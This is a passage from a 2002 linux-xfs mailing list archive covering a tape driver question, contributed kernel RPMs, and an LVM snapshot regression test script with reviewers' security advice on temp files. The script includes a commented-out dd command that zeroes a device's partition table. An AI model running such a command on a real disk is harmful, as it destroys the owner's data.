the tape return some data but not the data stored on the tape. Is it a known problem? Thanks Claude -- ------------------------------------------------------------------------ Claude Pignol SeismicCity, Inc. 2900 Wilcrest Dr. Suite 370 Houston TX 77042 Phone:832 251 1471 Mob:281 703 2933 Fax:832 251 0586 [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Fri Aug 30 14:50:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 14:50:16 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ULoAtG030443 for ; Fri, 30 Aug 2002 14:50:11 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA56656; Fri, 30 Aug 2002 16:53:47 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA05284; Fri, 30 Aug 2002 16:53:46 -0500 (CDT) Subject: Re: XFS RPM install on Redhat 7.2 From: Eric Sandeen To: Simon Matter Cc: Mike , linux-xfs@oss.sgi.com In-Reply-To: <3D6F07B5.341D5847@ch.sauter-bc.com> References: <3D6F07B5.341D5847@ch.sauter-bc.com> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 30 Aug 2002 16:51:27 -0500 Message-Id: <1030744287.3923.21.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 178 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Ok, they are there now, in ftp://oss.sgi.com/projects/xfs/download/Release-1.1/kernel_rpms/contributed/2.4.18-34-RH/ Sorry it took so long to get them out there, this sort of fell through the cracks. Note that they're contributed, and have not been tested by SGI. Thanks Simon! -Eric On Fri, 2002-08-30 at 00:50, Simon Matter wrote: > BTW, I have built kernel-smp-2.4.9-34SGI_XFS_1.1.src.rpm packages long > time ago. Eric, do you remember :) -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Aug 30 14:53:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 14:53:15 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7ULrDtG030742 for ; Fri, 30 Aug 2002 14:53:13 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA56681; Fri, 30 Aug 2002 16:56:48 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id QAA03786; Fri, 30 Aug 2002 16:56:48 -0500 (CDT) Subject: Re: st driver From: Eric Sandeen To: Claude Pignol Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D6FE80F.1090507@seismiccity.com> References: <3D6FE80F.1090507@seismiccity.com> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 30 Aug 2002 16:54:28 -0500 Message-Id: <1030744468.30077.24.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 179 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Can you try it with the "stock" 2.4.9-31 kernel from Red Hat? I doubt that the XFS bits have anything to do with the problem, but it would be worth checking. -Eric On Fri, 2002-08-30 at 16:47, Claude Pignol wrote: > > Hi, > > I have a machine (2 CPUs/4GB memory) running 2.4.9-31SGI_XFS_1.0.2smp > The module for the tape driver st.o seems not to work properly > Tape drive DLT 8000 > Ex mt -f /dev/st0 fsf 1 didn't skip to the next file. > or a dd to read some blocks from the tape return some data but not the > data stored on the tape. > Is it a known problem? > > Thanks > Claude > -- > ------------------------------------------------------------------------ > Claude Pignol SeismicCity, Inc. > 2900 Wilcrest Dr. Suite 370 Houston TX 77042 > Phone:832 251 1471 Mob:281 703 2933 Fax:832 251 0586 > > > > [[HTML alternate version deleted]] > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Aug 30 15:06:08 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 15:06:14 -0700 (PDT) Received: from imf08bis.bellsouth.net (mail108.mail.bellsouth.net [205.152.58.48]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UM5stG031477 for ; Fri, 30 Aug 2002 15:06:08 -0700 Received: from TAZ2 ([66.156.1.201]) by imf08bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020830221108.CMDZ18615.imf08bis.bellsouth.net@TAZ2>; Fri, 30 Aug 2002 18:11:08 -0400 Date: Fri, 30 Aug 2002 18:08:11 -0400 From: Greg Freemyer Subject: re[6]: snapshot regression test try 2 To: Steve Lord cc: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020830221108.CMDZ18615.imf08bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7UM69tG031482 X-archive-position: 180 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Steve, If someone has a vanilla 2.4.18-xfs (V1.1) kernel, I think it would be interesting to see if it can pass this new test. At Eric's suggestion, I'm changing the i/o load from dd to fsstress. I will get that done before I crank it up for the weekend. Greg >> On Fri, 2002-08-30 at 16:36, Greg Freemyer wrote: >> > >> > Steve, >> > >> > I have compiled the CVS kernel from xfs, and have tried my snapshot >> script on it. >> > >> > It has successfully done 20 iterations. (this is a first for me.) >> > >> > Not only did it succeed at this, but the time to perform an iteration >> dropped drastically from using my prior kernel. >> > >> > i.e. It typically took a couple of minutes per iteration to take the >> snapshot/mount it/unmount it/delete it. Now it is taking around 10 >> seconds. >> > >> > I have changed the iteration counter to 10,000 and I'm going to let it >> run over the long weekend. >> > >> > Hopefully we will have a success with this pure xfs cvs kernel. >> See, its not our fault ;-), maybe Andrea needs to run xfs tests on >> his kernels.... actually his code is pretty old now. Christoph may >> be giving him some new code. >> Steve >> -- >> Steve Lord voice: +1-651-683-3511 >> Principal Engineer, Filesystem Software email: lord@sgi.com Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 30 15:33:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 15:33:30 -0700 (PDT) Received: from imf06bis.bellsouth.net (mail106.mail.bellsouth.net [205.152.58.46]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UMXMtG032073 for ; Fri, 30 Aug 2002 15:33:23 -0700 Received: from TAZ2 ([66.156.1.201]) by imf06bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020830223837.BODU2736.imf06bis.bellsouth.net@TAZ2>; Fri, 30 Aug 2002 18:38:37 -0400 Date: Fri, 30 Aug 2002 18:35:39 -0400 From: Greg Freemyer Subject: snapshot regression test try 3 To: Eric Sandeen cc: Ethan Benson , xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020830223837.BODU2736.imf06bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7UMXNtG032074 X-archive-position: 181 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs >> Greg - Ethan's is more correct, don't worry about consistency. Either >> is fine. >> A couple other suggestions: (did you know what you were signing up for >> here?) :) >> Rather than using SCRATCH_DEV for the LVM tests, we probably would need >> a new SCRATCH_LVM_DEV since they need to be different partition types. >> I doubt that we want to try to change partition types on the fly. :) >> Also, if you want to use something other than "dd" to generate fs >> activity, you could use something like fsstress, which is part of the >> xfstest suite. >> -Eric Nathan, I hope the below is one that is finally ready to go into cvs. I have added the ability to set a env. variable to select either fsstress or dd to create the io load. I have just run a quick test with both enabled. I have also changed all references from SCRATCH_DEV to SCRATCH_LVM_DEV. These are still all commented out, so when you try it in your test machines you will have to figure out the details on those. I have the env. variables in quotes now per Ethans's request, and I am now using a temp directory /tmp/xfstest.XXXXXX where XXXXXX is random and unique. The 068.out has not changed, but it is below regardless. Thanks Greg Freemyer ========= 068.out QA output created by 068 SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! Cleanup beginning ========= 068 #! /bin/sh # XFS QA Test No. 068 # $Id: 1.1 $ # # Test LVM snapshot creation # # The timing and placement of kills and waits is particularily sensitive. # Don't change them unless you want to spend some time getting it right again. # #----------------------------------------------------------------------- # Copyright (c) 2000, 2002 Silicon Graphics, Inc. All Rights Reserved. # # This program is free software; you can redistribute it and/or modify it # under the terms of version 2 of the GNU General Public License as # published by the Free Software Foundation. # # This program is distributed in the hope that it would be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # # Further, this software is distributed without any warranty that it is # free of the rightful claim of any third person regarding infringement # or the like. Any license provided herein, whether implied or # otherwise, applies only to this software file. Patent licenses, if # any, provided herein do not apply to combinations of this program with # other software, or any other product whatsoever. # # You should have received a copy of the GNU General Public License along # with this program; if not, write the Free Software Foundation, Inc., 59 # Temple Place - Suite 330, Boston MA 02111-1307, USA. # # Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, # Mountain View, CA 94043, or: # # http://www.sgi.com # # For further information regarding this notice, see: # # http://oss.sgi.com/projects/GenInfo/SGIGPLNoticeExplan/ #----------------------------------------------------------------------- # # creator owner=freemyer@NorcrossGroup.com seq=`basename $0` echo "QA output created by $seq" here=`pwd` tmp=`mktemp -d /tmp/xfstest.XXXXXX` || exit 1 status=1 # failure is the default! # Either "dd" or "fsstress" can be used to generate io load. Setting both to "FALSE" tests with no io load. GENERATE_IO_LOAD_VIA_DD=TRUE GENERATE_IO_LOAD_VIA_FSSTRESS=TRUE DELAY_BETWEEN_ITERATIONS=10 #ITERATIONS=10000 ITERATIONS=2 VG=/dev/VGscratch #SCRATCH_LVM_DEV=/dev/xxxx # Only needed if running by hand, ie. check sets these #SCRATCH_MNT=/scratch # Only needed if running by hand, ie. check sets these SCRATCH_SNAP_MNT="$tmp/scratch_snap" _cleanup() { echo Cleanup beginning rm "$tmp/running" > /dev/null 2>&1 xfs_freeze -u "$SCRATCH_MNT" sleep 10 # Give the dd loop time to finish # Comment out unless needed. If needed, wrap with logic to ensure the FS is mounted #Kill off any other possible stray stragglers that may be out there. There should not be any. # fuser -k -m "$SCRATCH_SNAP_MNT/dummy" >/dev/null 2>&1 # fuser -k -m "$SCRATCH_MNT/dummy" >/dev/null 2>&1 wait umount "$SCRATCH_SNAP_MNT" > /dev/null 2>&1 rmdir "$SCRATCH_SNAP_MNT" > /dev/null 2>&1 umount "$SCRATCH_MNT" > /dev/null 2>&1 lvremove -f "$VG/scratch_snap" > /dev/null 2>&1 lvremove -f "$VG/scratch" > /dev/null 2>&1 #TODO vgremove "$VG" rm -rf "$tmp" # if we ever use tmp files trap 0 1 2 3 15 exit $status } trap "_cleanup" 0 1 2 3 15 # get standard environment, filters and checks . ./common.rc . ./common.filter if [ -e "$SCRATCH_SNAP_MNT" ]; then rm -rf "$SCRATCH_SNAP_MNT"; fi mkdir "$SCRATCH_SNAP_MNT" #Verify we have the lvm user tools [ -x /sbin/lvcreate ] || _notrun "LVM lvcreate utility is not installed in /sbin" [ -x /sbin/lvremove ] || _notrun "LVM lvremove utility is not installed in /sbin" # if the above fails for LVM 2, the below may be useful notes # try "lvm vgdisplay --version" and look for a > 1.9x version number, eg, # # LVM version: 1.95.10-cvs (2002-05-31) # Library version: 0.96.03-ioctl-cvs (2002-06-27) # Driver version: 1.0.3 #Verify we have the a lvm enabled kernel LVM=false #Check if LVM 1 is in the kernel if grep lvm /proc/devices > /dev/null 2>&1; then LVM=true; fi #Check if LVM 2 is in the kernel if grep device-mapper /proc/devices > /dev/null 2>&1; then LVM=true; fi #Check if EVMS is in the kernel # TODO # I don't know how to do this one. if [ "$LVM" = false ]; then _notrun "This test requires the kernel have LVM or EVMS present. (The EVMS test is still TBD)."; fi # real QA test starts here # Create a PV set from the scratch partition # TODO # (I don't know if this is needed.and it is dangerous because it intentionally deletes the partition table!!! # TODO # dd if=/dev/zero of="$SCRATCH_LVM_DEV" bs=512 count=1 # TODO # pvcreate "$SCRATCH_LVM_DEV" # Create a VG from the PV # TODO # vgcreate "$VG" "$SCRATCH_LVM_DEV" # Create a LV in the VG to snapshot # TODO # lvcreate -L 2G -n scratch "$VG" # Mount the LV mkdir "$SCRATCH_MNT" > /dev/null 2&>1 mount "$VG/scratch" "$SCRATCH_MNT" touch "$tmp/running" if [ "$GENERATE_IO_LOAD_VIA_DD" != FALSE ]; then # Create a large 64 Meg zero filled file on the LV dd if=/dev/zero of="$SCRATCH_MNT/dummy" bs=64k count=1000 > /dev/null 2>&1 #setup an infinite loop to copy the large file, thus generating heavy i/o touch "$tmp/running" while [ -f "$tmp/running" ] do dd if="$SCRATCH_MNT/dummy" of="$SCRATCH_MNT/junk" bs=64k > /dev/null 2>&1 rm "$SCRATCH_MNT/junk" # This forces metadata updates the next time around sync done fi & if [ "$GENERATE_IO_LOAD_VIA_FSSTRESS" != FALSE ]; then STRESS_DIR="$SCRATCH_MNT/fsstress_test_dir" mkdir "$STRESS_DIR" while [ -f "$tmp/running" ] do # -n 10 makes this take about 10 seconds, # this allows the loop to end shortly after $tmp/running is deleted src/fsstress -d "$STRESS_DIR" -n 10 > /dev/null 2>&1 sync done rm -rf "$STRESS_DIR" fi & ii=1 while [ $ii -le "$ITERATIONS" ] do # echo $ii Usefull if your are running interactive, but not from the xfs test scripts #if the VFS lock patch is present, the calls to xfs_freeze are redundant, but should cause no problems # OPTIONAL xfs_freeze -f "$SCRATCH_MNT" if [ $? != 0 ] ; then echo xfs_freeze -f "$SCRATCH_MNT" failed fi ( lvcreate --snapshot --size 1G --name scratch_snap "$VG/scratch" > /dev/null 2>&1 ret=$? if [ $ret != 0 ] ; then echo snapshot creation for "$SCRATCH_MNT" failed with return code $ret fi ) & SNAPSHOT_shell_pid=$! #if the Snapshot has not completed in ten minutes, kill it ( # I have NOT figured out how to kill the sleep 600 before it exits naturally. # This does not cause a problem, but it clutters the ps table. sleep 600 # The kill $TIMEOUT_shell_pid keeps the below from occuring echo Snapshot Lockup Occured on loop $ii xfs_freeze -u "$SCRATCH_MNT" kill $$ ) & TIMEOUT_shell_pid=$! wait "$SNAPSHOT_shell_pid" exec 2> /dev/null # Send the shells stderr to /dev/null kill "$TIMEOUT_shell_pid" #Cancel the timeout wait "$TIMEOUT_shell_pid" # This causes consistent shell notification for some unknow reason exec 2>&1 # Put it back to the same as stdout #if the VFS lock patch is present, the calls to xfs_freeze are redundant, but should cause no problems # OPTIONAL xfs_freeze -u "$SCRATCH_MNT" if [ $? != 0 ] ; then echo xfs_freeze -u "$SCRATCH_MNT" failed fi # MANDANTORY (end) mount -t xfs -o ro,nouuid "$VG/scratch_snap" "$SCRATCH_SNAP_MNT" if [ $? != 0 ] ; then echo mount for "$SCRATCH_SNAP_MNT" failed fi umount "$SCRATCH_SNAP_MNT" if [ $? != 0 ] ; then echo umount for "$SCRATCH_SNAP_MNT" failed fi lvremove -f "$VG/scratch_snap" > /dev/null 2>&1 if [ $? != 0 ] ; then echo lvremove for "$VG/scratch_snap" failed fi ii=`expr $ii + 1` sleep "$DELAY_BETWEEN_ITERATIONS" # The VG seems to need time to stabalize between snapshots # With LVM 1.0.3 and XFS 1.1, I have tried this at 3600 seconds and still had failures done # success, all done echo SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! status=0 _cleanup exit 1 # _cleanup should exit, so we should never get here. TruStor From owner-linux-xfs@oss.sgi.com Fri Aug 30 16:09:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 16:09:59 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UN9rtG032702 for ; Fri, 30 Aug 2002 16:09:53 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id QAA06831 for ; Fri, 30 Aug 2002 16:13:27 -0700 (PDT) mail_from (nathans@wobbly.melbourne.sgi.com) Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA12231; Sat, 31 Aug 2002 09:12:10 +1000 Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.9.3/8.9.3) id XAA72116; Fri, 30 Aug 2002 23:12:09 GMT Date: Fri, 30 Aug 2002 23:12:09 +0000 From: Nathan Scott To: Greg Freemyer Cc: xfs mailing list Subject: Re: snapshot regression test try 3 Message-ID: <20020830231209.A69563@wobbly.melbourne.sgi.com> References: <20020830223837.BODU2736.imf06bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020830223837.BODU2736.imf06bis.bellsouth.net@TAZ2>; from freemyer@NorcrossGroup.com on Fri, Aug 30, 2002 at 06:35:39PM -0400 Content-Transfer-Encoding: 8bit X-archive-position: 182 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs hi, On Fri, Aug 30, 2002 at 06:35:39PM -0400, Greg Freemyer wrote: > > Nathan, > > I hope the below is one that is finally ready to go into cvs. > > I have added the ability to set a env. variable to select either fsstress or dd to create the io load. I have just run a quick test with both enabled. > From a brief look it semes fine to me - will go over it again on Monday & check it in. thanks Greg. -- Nathan From owner-linux-xfs@oss.sgi.com Fri Aug 30 16:22:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 16:22:57 -0700 (PDT) Received: from visualfx.animezone.org (CPE3236333133323237.cpe.net.cable.rogers.com [24.100.159.193] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7UNMstG000735 for ; Fri, 30 Aug 2002 16:22:54 -0700 Received: from animezone.org (picasso.visualfx.org [192.168.68.5]) by visualfx.animezone.org (8.11.6/8.11.6) with ESMTP id g7UND5e18571; Fri, 30 Aug 2002 19:13:05 -0400 Message-ID: <3D6FFFC2.919AE7F8@animezone.org> Date: Fri, 30 Aug 2002 19:29:06 -0400 From: Andrew Ho X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-xfs i686) X-Accept-Language: en, zh-TW MIME-Version: 1.0 To: Eric Sandeen CC: Claude Pignol , linux-xfs@oss.sgi.com Subject: Re: st driver References: <3D6FE80F.1090507@seismiccity.com> <1030744468.30077.24.camel@stout.americas.sgi.com> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 183 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: andrewho@animezone.org Precedence: bulk X-list: linux-xfs Eric Sandeen wrote: > Can you try it with the "stock" 2.4.9-31 kernel from Red Hat? I doubt > that the XFS bits have anything to do with the problem, but it would be > worth checking. > > -Eric > > On Fri, 2002-08-30 at 16:47, Claude Pignol wrote: > > > > Hi, > > > > I have a machine (2 CPUs/4GB memory) running 2.4.9-31SGI_XFS_1.0.2smp > > The module for the tape driver st.o seems not to work properly > > Tape drive DLT 8000 > > Ex mt -f /dev/st0 fsf 1 didn't skip to the next file. /dev/st0 is a rewind tape device driver, and /dev/nst0 is a non-rewind tape device driver. Try mt -f /dev/nst0 fsf 1 It should work. Have Fun, Andrew > From owner-linux-xfs@oss.sgi.com Fri Aug 30 21:24:14 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 30 Aug 2002 21:24:19 -0700 (PDT) Received: from mail.miratek.com ([216.97.55.61]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7V4ODtG003450 for ; Fri, 30 Aug 2002 21:24:14 -0700 Received: from maherxp [24.145.147.99] by mail.miratek.com with ESMTP (SMTPD32-7.12) id A46426200C2; Fri, 30 Aug 2002 23:21:56 -0500 Reply-To: From: "Mike" To: "'Eric Sandeen'" , "'Simon Matter'" Cc: Subject: RE: XFS RPM install on Redhat 7.2 Date: Sat, 31 Aug 2002 00:26:18 -0400 Message-ID: <000001c250a6$8e79b7d0$967ba8c0@maherxp> MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 In-Reply-To: <1030744287.3923.21.camel@stout.americas.sgi.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-archive-position: 184 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: samba@miratek.com Precedence: bulk X-list: linux-xfs Thanks Eric and Simon, I installed 2.4.9-31SGI_1.1smp kernel and everything was OK. I just noticed one difference, with the newer 2.4.9-34smp kernel, I used to see 4 CPUs (using top) on our server which is a Compaq ML530G2. This server have 2 CPUs only. But due to Intel Hyper-Threading technology on the new Xeon 2.4 GHz processor, the 2.4.9-34smp kernel treats it as 4 CPUs. After I installed 2.4.9-31SGI_1.1smp and rebooted I only could see 2 CPUs which is equal to the physical CPUs count. I am going to install kernel-smp-2.4.9-34SGI_XFS_1.1.i686.rpm and hopefully I will see 4 CPUs. Some how it supposed to be faster with the 2 CPUs treated as 4 CPUs (?). Thanks for your help and the new RPMs. Mike -----Original Message----- From: linux-xfs-bounce@oss.sgi.com [mailto:linux-xfs-bounce@oss.sgi.com] On Behalf Of Eric Sandeen Sent: Friday, August 30, 2002 5:51 PM To: Simon Matter Cc: Mike; linux-xfs@oss.sgi.com Subject: Re: XFS RPM install on Redhat 7.2 Ok, they are there now, in ftp://oss.sgi.com/projects/xfs/download/Release-1.1/kernel_rpms/contribu ted/2.4.18-34-RH/ Sorry it took so long to get them out there, this sort of fell through the cracks. Note that they're contributed, and have not been tested by SGI. Thanks Simon! -Eric On Fri, 2002-08-30 at 00:50, Simon Matter wrote: > BTW, I have built kernel-smp-2.4.9-34SGI_XFS_1.1.src.rpm packages long > time ago. Eric, do you remember :) -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Sat Aug 31 00:04:32 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 31 Aug 2002 00:04:37 -0700 (PDT) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7V74WtG004765 for ; Sat, 31 Aug 2002 00:04:32 -0700 Received: from erbenson.alaska.net (145-pm19.nwc.alaska.net [209.112.142.145]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7V78EBs012806 for ; Fri, 30 Aug 2002 23:08:14 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id B96A13A0B for ; Fri, 30 Aug 2002 23:08:13 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 2DB7810294; Fri, 30 Aug 2002 23:08:13 -0800 (AKDT) Date: Fri, 30 Aug 2002 23:08:13 -0800 From: Ethan Benson To: xfs mailing list Subject: Re: snapshot regression test try 2 Message-ID: <20020830230813.K17654@plato.local.lan> Mail-Followup-To: xfs mailing list References: <20020830212201.BJBU18615.imf08bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020830212201.BJBU18615.imf08bis.bellsouth.net@TAZ2>; from freemyer@NorcrossGroup.com on Fri, Aug 30, 2002 at 05:19:04PM -0400 X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. Content-Transfer-Encoding: 8bit X-archive-position: 185 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs On Fri, Aug 30, 2002 at 05:19:04PM -0400, Greg Freemyer wrote: > >> > tmp=/tmp/$$ > > >> very predictable, use tmp=`mktemp -d` || exit 1 > > Someone with SGI, > > Ethan has recommended the above change to my script. It is easy enough to do. As a matter of fact I have already done it. > > Every other script in xfstests uses the tmp=/tmp/$$ as a prefix for temp files. i would recommend they be changed to handle /tmp securely, granted its probably unlikly that these tests are run on multiuser systems (since if they blow something up the users will be annoyed) but if not for any other reason then to help prevent further proliferation of insecure broken code by way of people just getting ideas from these scripts, they should be corrected. > Ethan's recommendation is to use a unique directory and place temporary files in the directory. when dealing with /tmp you either need to create your tmp file securly (this means getting a unpredictable filename and opening it with O_EXCL, this is only possible via mktemp (or tmpfile) in shell scripts) the alternative is creating a directory with tight permissions securly, this also means a unpredictable name (to avoid simple DoS) and proper error checks, mktemp -d is the ideal mechenism. once a secure directory is available you can do pretty much whatever you want inside it without worrying. > I can see where Ethan's suggestion is better, but for consistency sake it may be better to put it back the way it was. > > Please advise. > > Greg -- Ethan Benson http://www.alaska.net/~erbenson/ -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1wa1wACgkQJKx7GixEevwqcACfViR5z/ceJie0eSWFQxOFfoMR dlYAn3Xttoujhfdu35VehKE6iXCQ4jvW =z+vs -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Sat Aug 31 00:51:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 31 Aug 2002 00:52:00 -0700 (PDT) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7V7pstG005455 for ; Sat, 31 Aug 2002 00:51:54 -0700 Received: from erbenson.alaska.net (145-pm19.nwc.alaska.net [209.112.142.145]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7V7tbBs062668 for ; Fri, 30 Aug 2002 23:55:38 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id B26B63A0B for ; Fri, 30 Aug 2002 23:55:36 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 9921210294; Fri, 30 Aug 2002 23:55:36 -0800 (AKDT) Date: Fri, 30 Aug 2002 23:55:36 -0800 From: Ethan Benson To: xfs mailing list Subject: Re: snapshot regression test try 3 Message-ID: <20020830235536.L17654@plato.local.lan> Mail-Followup-To: xfs mailing list References: <20020830223837.BODU2736.imf06bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020830223837.BODU2736.imf06bis.bellsouth.net@TAZ2>; from freemyer@NorcrossGroup.com on Fri, Aug 30, 2002 at 06:35:39PM -0400 X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. Content-Transfer-Encoding: 8bit X-archive-position: 186 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs On Fri, Aug 30, 2002 at 06:35:39PM -0400, Greg Freemyer wrote: > > 